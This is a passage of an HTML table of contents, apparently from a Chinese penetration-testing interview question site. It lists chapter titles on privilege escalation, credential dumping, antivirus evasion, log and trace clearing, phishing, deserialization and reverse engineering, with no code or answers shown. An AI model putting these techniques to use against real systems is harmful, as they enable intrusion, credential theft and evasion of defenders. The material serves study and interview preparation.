||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.15.7" data-path="../Chapter14/14-7.html">
|
||
|
||
<a href="../Chapter14/14-7.html">
|
||
|
||
|
||
14.7 JdbcRowSetImpl 如何触发的 JNDI 注入
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.15.8" data-path="../Chapter14/14-8.html">
|
||
|
||
<a href="../Chapter14/14-8.html">
|
||
|
||
|
||
14.8 CC 链四个 Transformer 区别
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.15.9" data-path="../Chapter14/14-9.html">
|
||
|
||
<a href="../Chapter14/14-9.html">
|
||
|
||
|
||
14.9 反序列化除了readObject 还有什么触发点
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.15.10" data-path="../Chapter14/14-10.html">
|
||
|
||
<a href="../Chapter14/14-10.html">
|
||
|
||
|
||
14.10 讲讲 IIOP 和 T3 反序列化原理
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.15.11" data-path="../Chapter14/14-11.html">
|
||
|
||
<a href="../Chapter14/14-11.html">
|
||
|
||
|
||
14.11 Java invoke 反射具体利用
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
|
||
</ul>
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.16" data-path="./">
|
||
|
||
<a href="./">
|
||
|
||
|
||
15. 权限提升
|
||
|
||
</a>
|
||
|
||
|
||
|
||
<ul class="articles">
|
||
|
||
|
||
<li class="chapter " data-level="1.16.1" data-path="15-1.html">
|
||
|
||
<a href="15-1.html">
|
||
|
||
|
||
15.1 LM Hash 加密算法过程
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.16.2" data-path="15-2.html">
|
||
|
||
<a href="15-2.html">
|
||
|
||
|
||
15.2 与 SMB 协议相关的漏洞有哪些
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.16.3" data-path="15-3.html">
|
||
|
||
<a href="15-3.html">
|
||
|
||
|
||
15.3 脏牛漏洞提权原理
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.16.4" data-path="15-4.html">
|
||
|
||
<a href="15-4.html">
|
||
|
||
|
||
15.4 黄金票据和白银票据区别
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.16.5" data-path="15-5.html">
|
||
|
||
<a href="15-5.html">
|
||
|
||
|
||
15.5 读取不到 hash 怎么绕过
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.16.6" data-path="15-6.html">
|
||
|
||
<a href="15-6.html">
|
||
|
||
|
||
15.6 现在有一台 Windows Server 2008 如何提权
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.16.7" data-path="15-7.html">
|
||
|
||
<a href="15-7.html">
|
||
|
||
|
||
15.7 提权时选择可读写目录，为何尽量不用带空格的目录
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.16.8" data-path="15-8.html">
|
||
|
||
<a href="15-8.html">
|
||
|
||
|
||
15.8 对于不能直接上传而只能通过命令行执行的 Shell 怎么办
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.16.9" data-path="15-9.html">
|
||
|
||
<a href="15-9.html">
|
||
|
||
|
||
15.9 psexec 和 wmic 区别
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.16.10" data-path="15-10.html">
|
||
|
||
<a href="15-10.html">
|
||
|
||
|
||
15.10 内网抓取密码的话怎么抓
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.16.11" data-path="15-11.html">
|
||
|
||
<a href="15-11.html">
|
||
|
||
|
||
15.11 内网有杀软又怎么抓
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.16.12" data-path="15-12.html">
|
||
|
||
<a href="15-12.html">
|
||
|
||
|
||
15.12 操作系统什么版本之后抓不到密码
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.16.13" data-path="15-13.html">
|
||
|
||
<a href="15-13.html">
|
||
|
||
|
||
15.13 抓不到密码怎么绕过
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.16.14" data-path="15-14.html">
|
||
|
||
<a href="15-14.html">
|
||
|
||
|
||
15.14 桌面有管理员会话，怎么做会话劫持
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.16.15" data-path="15-15.html">
|
||
|
||
<a href="15-15.html">
|
||
|
||
|
||
15.15 当前机器上有一个密码本但被加密了，应该怎么办
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.16.16" data-path="15-16.html">
|
||
|
||
<a href="15-16.html">
|
||
|
||
|
||
15.16 Dcom 怎么操作
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.16.17" data-path="15-17.html">
|
||
|
||
<a href="15-17.html">
|
||
|
||
|
||
15.17 获取域控的方法有哪些
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.16.18" data-path="15-18.html">
|
||
|
||
<a href="15-18.html">
|
||
|
||
|
||
15.18 DLL 劫持原理
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.16.19" data-path="15-19.html">
|
||
|
||
<a href="15-19.html">
|
||
|
||
|
||
15.19 DPAPI 机制能干嘛
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.16.20" data-path="15-20.html">
|
||
|
||
<a href="15-20.html">
|
||
|
||
|
||
15.20 MS14-068 原理
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.16.21" data-path="15-21.html">
|
||
|
||
<a href="15-21.html">
|
||
|
||
|
||
15.21 内网文件 exe 落地怎么去做，用什么命令去执行来落地
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.16.22" data-path="15-22.html">
|
||
|
||
<a href="15-22.html">
|
||
|
||
|
||
15.22 DB 文件如何解密，原理是什么
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.16.23" data-path="15-23.html">
|
||
|
||
<a href="15-23.html">
|
||
|
||
|
||
15.23 PTH 中 LM hash 和 NTLM hash 的区别
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.16.24" data-path="15-24.html">
|
||
|
||
<a href="15-24.html">
|
||
|
||
|
||
15.24 Print Nightmare 漏洞分析
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.16.25" data-path="15-25.html">
|
||
|
||
<a href="15-25.html">
|
||
|
||
|
||
15.25 CS 域前置的原理
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.16.26" data-path="15-26.html">
|
||
|
||
<a href="15-26.html">
|
||
|
||
|
||
15.26 CS 流量是怎么通信的
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.16.27" data-path="15-27.html">
|
||
|
||
<a href="15-27.html">
|
||
|
||
|
||
15.27 土豆家族提权原理
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.16.28" data-path="15-28.html">
|
||
|
||
<a href="15-28.html">
|
||
|
||
|
||
15.28 UAC 怎么绕过
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.16.29" data-path="15-29.html">
|
||
|
||
<a href="15-29.html">
|
||
|
||
|
||
15.29 如何在没有 /tmp 写入权限的情况下，寻找替代的、可执行文件的临时存放位置
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.16.30" data-path="15-30.html">
|
||
|
||
<a href="15-30.html">
|
||
|
||
|
||
15.30 exploit 无法直接在目标机上编译，你有哪些跨平台编译或利用预编译二进制文件的策略
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter active" data-level="1.16.31" data-path="15-31.html">
|
||
|
||
<a href="15-31.html">
|
||
|
||
|
||
15.31 如何利用 Python 的环境特性在不修改原脚本的前提下，劫持程序执行流程并获取 Root Shell
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.16.32" data-path="15-32.html">
|
||
|
||
<a href="15-32.html">
|
||
|
||
|
||
15.32 某个定时任务执行的脚本内容是 #!/bin/bash;echo "Cleanup started" | mail -s "Status" $USER，如何利用这个未指定绝对路径的 mail 命令提权
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.16.33" data-path="15-33.html">
|
||
|
||
<a href="15-33.html">
|
||
|
||
|
||
15.33 除了修改 /etc/passwd 外还可以利用 Dirty Cow 漏洞劫持哪些关键文件或内存区域来实现提权
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
|
||
</ul>
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.17" data-path="../Chapter16/">
|
||
|
||
<a href="../Chapter16/">
|
||
|
||
|
||
16. 文件包含漏洞
|
||
|
||
</a>
|
||
|
||
|
||
|
||
<ul class="articles">
|
||
|
||
|
||
<li class="chapter " data-level="1.17.1" data-path="../Chapter16/16-1.html">
|
||
|
||
<a href="../Chapter16/16-1.html">
|
||
|
||
|
||
16.1 常用的协议有哪些
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.17.2" data-path="../Chapter16/16-2.html">
|
||
|
||
<a href="../Chapter16/16-2.html">
|
||
|
||
|
||
16.2 怎么 GetShell
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
|
||
</ul>
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.18" data-path="../Chapter17/">
|
||
|
||
<a href="../Chapter17/">
|
||
|
||
|
||
17. MongoDB 注入
|
||
|
||
</a>
|
||
|
||
|
||
|
||
<ul class="articles">
|
||
|
||
|
||
<li class="chapter " data-level="1.18.1" data-path="../Chapter17/17-1.html">
|
||
|
||
<a href="../Chapter17/17-1.html">
|
||
|
||
|
||
17.1 MongoDB 注入方式
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
|
||
</ul>
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.19" data-path="../Chapter18/">
|
||
|
||
<a href="../Chapter18/">
|
||
|
||
|
||
18. CORS
|
||
|
||
</a>
|
||
|
||
|
||
|
||
<ul class="articles">
|
||
|
||
|
||
<li class="chapter " data-level="1.19.1" data-path="../Chapter18/18-1.html">
|
||
|
||
<a href="../Chapter18/18-1.html">
|
||
|
||
|
||
18.1 CORS 利用方式
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
|
||
</ul>
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.20" data-path="../Chapter19/">
|
||
|
||
<a href="../Chapter19/">
|
||
|
||
|
||
19. 远控免杀
|
||
|
||
</a>
|
||
|
||
|
||
|
||
<ul class="articles">
|
||
|
||
|
||
<li class="chapter " data-level="1.20.1" data-path="../Chapter19/19-1.html">
|
||
|
||
<a href="../Chapter19/19-1.html">
|
||
|
||
|
||
19.1 ShellCode 免杀方法
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.20.2" data-path="../Chapter19/19-2.html">
|
||
|
||
<a href="../Chapter19/19-2.html">
|
||
|
||
|
||
19.2 如何去过国内的杀软
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.20.3" data-path="../Chapter19/19-3.html">
|
||
|
||
<a href="../Chapter19/19-3.html">
|
||
|
||
|
||
19.3 分离免杀和单体免杀有啥区别，为什么要分离
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.20.4" data-path="../Chapter19/19-4.html">
|
||
|
||
<a href="../Chapter19/19-4.html">
|
||
|
||
|
||
19.4 做过其他免杀吗，比如结合 CS 和 MSF 的
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
|
||
</ul>
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.21" data-path="../Chapter20/">
|
||
|
||
<a href="../Chapter20/">
|
||
|
||
|
||
20. PHP 代码审计
|
||
|
||
</a>
|
||
|
||
|
||
|
||
<ul class="articles">
|
||
|
||
|
||
<li class="chapter " data-level="1.21.1" data-path="../Chapter20/20-1.html">
|
||
|
||
<a href="../Chapter20/20-1.html">
|
||
|
||
|
||
20.1 === 和 == 的区别
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.21.2" data-path="../Chapter20/20-2.html">
|
||
|
||
<a href="../Chapter20/20-2.html">
|
||
|
||
|
||
20.2 常见入口函数怎么找
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.21.3" data-path="../Chapter20/20-3.html">
|
||
|
||
<a href="../Chapter20/20-3.html">
|
||
|
||
|
||
20.3 PHP 代码审计流程
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.21.4" data-path="../Chapter20/20-4.html">
|
||
|
||
<a href="../Chapter20/20-4.html">
|
||
|
||
|
||
20.4 ThinkPHP 框架审计起来有什么不同
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.21.5" data-path="../Chapter20/20-5.html">
|
||
|
||
<a href="../Chapter20/20-5.html">
|
||
|
||
|
||
20.5 PHP 原生的敏感函数有哪些
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.21.6" data-path="../Chapter20/20-6.html">
|
||
|
||
<a href="../Chapter20/20-6.html">
|
||
|
||
|
||
20.6 反序列化时有哪些魔术方法是可以作为一个入手点去找的
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.21.7" data-path="../Chapter20/20-7.html">
|
||
|
||
<a href="../Chapter20/20-7.html">
|
||
|
||
|
||
20.7 常见的路由方法
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.21.8" data-path="../Chapter20/20-8.html">
|
||
|
||
<a href="../Chapter20/20-8.html">
|
||
|
||
|
||
20.8 介绍下 PHP 的变量覆盖
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.21.9" data-path="../Chapter20/20-9.html">
|
||
|
||
<a href="../Chapter20/20-9.html">
|
||
|
||
|
||
20.9 远程文件包含和本地文件包含这两种涉及的 PHP 设置有什么
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.21.10" data-path="../Chapter20/20-10.html">
|
||
|
||
<a href="../Chapter20/20-10.html">
|
||
|
||
|
||
20.10 本地文件包含能不能通过 PHP 配置限制文件包含的路径
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.21.11" data-path="../Chapter20/20-11.html">
|
||
|
||
<a href="../Chapter20/20-11.html">
|
||
|
||
|
||
20.11 PHP 在做 SQL 注入防御时有哪些方法
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.21.12" data-path="../Chapter20/20-12.html">
|
||
|
||
<a href="../Chapter20/20-12.html">
|
||
|
||
|
||
20.12 如果审计到了一个文件下载漏洞如何深入的去利用
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.21.13" data-path="../Chapter20/20-13.html">
|
||
|
||
<a href="../Chapter20/20-13.html">
|
||
|
||
|
||
20.13 讲讲 Fortity 等代码审计工具原理
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
|
||
</ul>
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.22" data-path="../Chapter21/">
|
||
|
||
<a href="../Chapter21/">
|
||
|
||
|
||
21. JAVA 代码审计
|
||
|
||
</a>
|
||
|
||
|
||
|
||
<ul class="articles">
|
||
|
||
|
||
<li class="chapter " data-level="1.22.1" data-path="../Chapter21/21-1.html">
|
||
|
||
<a href="../Chapter21/21-1.html">
|
||
|
||
|
||
21.1 JAVA 在做 SQL 注入防御时有哪些方法
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
|
||
</ul>
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.23" data-path="../Chapter22/">
|
||
|
||
<a href="../Chapter22/">
|
||
|
||
|
||
22. 操作系统
|
||
|
||
</a>
|
||
|
||
|
||
|
||
<ul class="articles">
|
||
|
||
|
||
<li class="chapter " data-level="1.23.1" data-path="../Chapter22/22-1.html">
|
||
|
||
<a href="../Chapter22/22-1.html">
|
||
|
||
|
||
22.1 进程和线程内存空间的关系
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.23.2" data-path="../Chapter22/22-2.html">
|
||
|
||
<a href="../Chapter22/22-2.html">
|
||
|
||
|
||
22.2 介绍下父子进程
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.23.3" data-path="../Chapter22/22-3.html">
|
||
|
||
<a href="../Chapter22/22-3.html">
|
||
|
||
|
||
22.3 孤儿进程和僵尸进程区别
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.23.4" data-path="../Chapter22/22-4.html">
|
||
|
||
<a href="../Chapter22/22-4.html">
|
||
|
||
|
||
22.4 Kill 一个进程的时候都发生了那些事情，从父子进程角度讲
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.23.5" data-path="../Chapter22/22-5.html">
|
||
|
||
<a href="../Chapter22/22-5.html">
|
||
|
||
|
||
22.5 Linux 开机自启动方式
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.23.6" data-path="../Chapter22/22-6.html">
|
||
|
||
<a href="../Chapter22/22-6.html">
|
||
|
||
|
||
22.6 Linux 有哪些系统调用
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.23.7" data-path="../Chapter22/22-7.html">
|
||
|
||
<a href="../Chapter22/22-7.html">
|
||
|
||
|
||
22.7 说说 Linux 下的 Syscall
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
|
||
</ul>
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.24" data-path="../Chapter23/">
|
||
|
||
<a href="../Chapter23/">
|
||
|
||
|
||
23. 逆向破解
|
||
|
||
</a>
|
||
|
||
|
||
|
||
<ul class="articles">
|
||
|
||
|
||
<li class="chapter " data-level="1.24.1" data-path="../Chapter23/23-1.html">
|
||
|
||
<a href="../Chapter23/23-1.html">
|
||
|
||
|
||
23.1 恶意样本给出函数家族的 md5，如何进行分类
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.24.2" data-path="../Chapter23/23-2.html">
|
||
|
||
<a href="../Chapter23/23-2.html">
|
||
|
||
|
||
23.2 Linux 程序分为哪几个段
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.24.3" data-path="../Chapter23/23-3.html">
|
||
|
||
<a href="../Chapter23/23-3.html">
|
||
|
||
|
||
23.3 .data 段存放哪些数据
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.24.4" data-path="../Chapter23/23-4.html">
|
||
|
||
<a href="../Chapter23/23-4.html">
|
||
|
||
|
||
23.4 .bss 段存放哪些数据
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.24.5" data-path="../Chapter23/23-5.html">
|
||
|
||
<a href="../Chapter23/23-5.html">
|
||
|
||
|
||
23.5 函数调用时的流程，参数如何传入以及寄存器、栈的变化
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.24.6" data-path="../Chapter23/23-6.html">
|
||
|
||
<a href="../Chapter23/23-6.html">
|
||
|
||
|
||
23.6 解释程序的编译和链接，编译的过程中会有哪些操作
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.24.7" data-path="../Chapter23/23-7.html">
|
||
|
||
<a href="../Chapter23/23-7.html">
|
||
|
||
|
||
23.7 说说 If/Else 语法树
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.24.8" data-path="../Chapter23/23-8.html">
|
||
|
||
<a href="../Chapter23/23-8.html">
|
||
|
||
|
||
23.8 如何比较两个 C 函数的相似度
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.24.9" data-path="../Chapter23/23-9.html">
|
||
|
||
<a href="../Chapter23/23-9.html">
|
||
|
||
|
||
23.9 什么情况下源代码与 IDA 反编译程序的代码差别很大
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.24.10" data-path="../Chapter23/23-10.html">
|
||
|
||
<a href="../Chapter23/23-10.html">
|
||
|
||
|
||
23.10 面对静态编译的大型木马如何通过 IDA 定位其网络传输部分的逻辑
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.24.11" data-path="../Chapter23/23-11.html">
|
||
|
||
<a href="../Chapter23/23-11.html">
|
||
|
||
|
||
23.11 如何动态地去找导入表
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.24.12" data-path="../Chapter23/23-12.html">
|
||
|
||
<a href="../Chapter23/23-12.html">
|
||
|
||
|
||
23.12 如何不在编码时直接导入相关 API 的前提下进行攻击
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.24.13" data-path="../Chapter23/23-13.html">
|
||
|
||
<a href="../Chapter23/23-13.html">
|
||
|
||
|
||
23.13 Windows 下有哪些常用的反调试技术
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.24.14" data-path="../Chapter23/23-14.html">
|
||
|
||
<a href="../Chapter23/23-14.html">
|
||
|
||
|
||
23.14 单步执行的原理是什么
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.24.15" data-path="../Chapter23/23-15.html">
|
||
|
||
<a href="../Chapter23/23-15.html">
|
||
|
||
|
||
23.15 在内存中已 Load 的程序如何快速找到其具有执行权限的段
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.24.16" data-path="../Chapter23/23-16.html">
|
||
|
||
<a href="../Chapter23/23-16.html">
|
||
|
||
|
||
23.16 恶意软件有哪些方案检测自己处于沙箱中
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.24.17" data-path="../Chapter23/23-17.html">
|
||
|
||
<a href="../Chapter23/23-17.html">
|
||
|
||
|
||
23.17 做一个反汇编器，指令集 opcode 的意义去哪查
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.24.18" data-path="../Chapter23/23-18.html">
|
||
|
||
<a href="../Chapter23/23-18.html">
|
||
|
||
|
||
23.18 怎么识别指令跳转条件和内存访问
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.24.19" data-path="../Chapter23/23-19.html">
|
||
|
||
<a href="../Chapter23/23-19.html">
|
||
|
||
|
||
23.19 做一个沙箱，有什么需要重定向的
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.24.20" data-path="../Chapter23/23-20.html">
|
||
|
||
<a href="../Chapter23/23-20.html">
|
||
|
||
|
||
23.20 ESP 定律原理知道吗
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.24.21" data-path="../Chapter23/23-21.html">
|
||
|
||
<a href="../Chapter23/23-21.html">
|
||
|
||
|
||
23.21 C++ 程序怎么去逆向找虚表
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.24.22" data-path="../Chapter23/23-22.html">
|
||
|
||
<a href="../Chapter23/23-22.html">
|
||
|
||
|
||
23.22 进程隐藏技术是什么，如何检测
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.24.23" data-path="../Chapter23/23-23.html">
|
||
|
||
<a href="../Chapter23/23-23.html">
|
||
|
||
|
||
23.23 如果多进程下，A 进程的 Source 触发到了 B 进程的 sink 点，如何溯源
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.24.24" data-path="../Chapter23/23-24.html">
|
||
|
||
<a href="../Chapter23/23-24.html">
|
||
|
||
|
||
23.24 JNDI 如何做 Hook
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
|
||
</ul>
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.25" data-path="../Chapter24/">
|
||
|
||
<a href="../Chapter24/">
|
||
|
||
|
||
24. 痕迹清除
|
||
|
||
</a>
|
||
|
||
|
||
|
||
<ul class="articles">
|
||
|
||
|
||
<li class="chapter " data-level="1.25.1" data-path="../Chapter24/24-1.html">
|
||
|
||
<a href="../Chapter24/24-1.html">
|
||
|
||
|
||
24.1 清理日志要清理哪些
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.25.2" data-path="../Chapter24/24-2.html">
|
||
|
||
<a href="../Chapter24/24-2.html">
|
||
|
||
|
||
24.2 如何删除 Linux 机器的入侵痕迹
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
|
||
</ul>
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.26" data-path="../Chapter25/">
|
||
|
||
<a href="../Chapter25/">
|
||
|
||
|
||
25. 钓鱼社工
|
||
|
||
</a>
|
||
|
||
|
||
|
||
<ul class="articles">
|
||
|
||
|
||
<li class="chapter " data-level="1.26.1" data-path="../Chapter25/25-1.html">
|
||
|
||
<a href="../Chapter25/25-1.html">
|
||
|
||
|
||
25.1 钓鱼方法除了 exe 这种双击的还有什么
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.26.2" data-path="../Chapter25/25-2.html">
|
||
|
||
<a href="../Chapter25/25-2.html">
|
||
|
||
|
||
25.2 钓鱼上线的主机如何进行利用
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.26.3" data-path="../Chapter25/25-3.html">
|
||
|
||
<a href="../Chapter25/25-3.html">
|
||
|
||
|
||
25.3 伪造电子邮件的原理
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
|
||
</ul>
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.27" data-path="../Chapter26/">
|
||
|
||
<a href="../Chapter26/">
|
||
|
||
|
||
26. 二进制
|
||
|
||
</a>
|
||
|
||
|
||
|
||
<ul class="articles">
|
||
|
||
|
||
<li class="chapter " data-level="1.27.1" data-path="../Chapter26/26-1.html">
|
||
|
||
<a href="../Chapter26/26-1.html">
|
||
|
||
|
||
26.1 工控场景的入侵检测与普通场景入侵检测的区别
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.27.2" data-path="../Chapter26/26-2.html">
|
||
|
||
<a href="../Chapter26/26-2.html">
|
||
|
||
|
||
26.2 讲讲 Linux 平台的漏洞缓解机制
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.27.3" data-path="../Chapter26/26-3.html">
|
||
|
||
<a href="../Chapter26/26-3.html">
|
||
|
||
|
||
26.3 NX 是怎么绕过的
|
||
|
||
</a>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
<li class="chapter " data-level="1.27.4" data-path="../Chapter26/26-4.html">
|
||
|
||
<a href="../Chapter26/26-4.html">
|
||
|
||
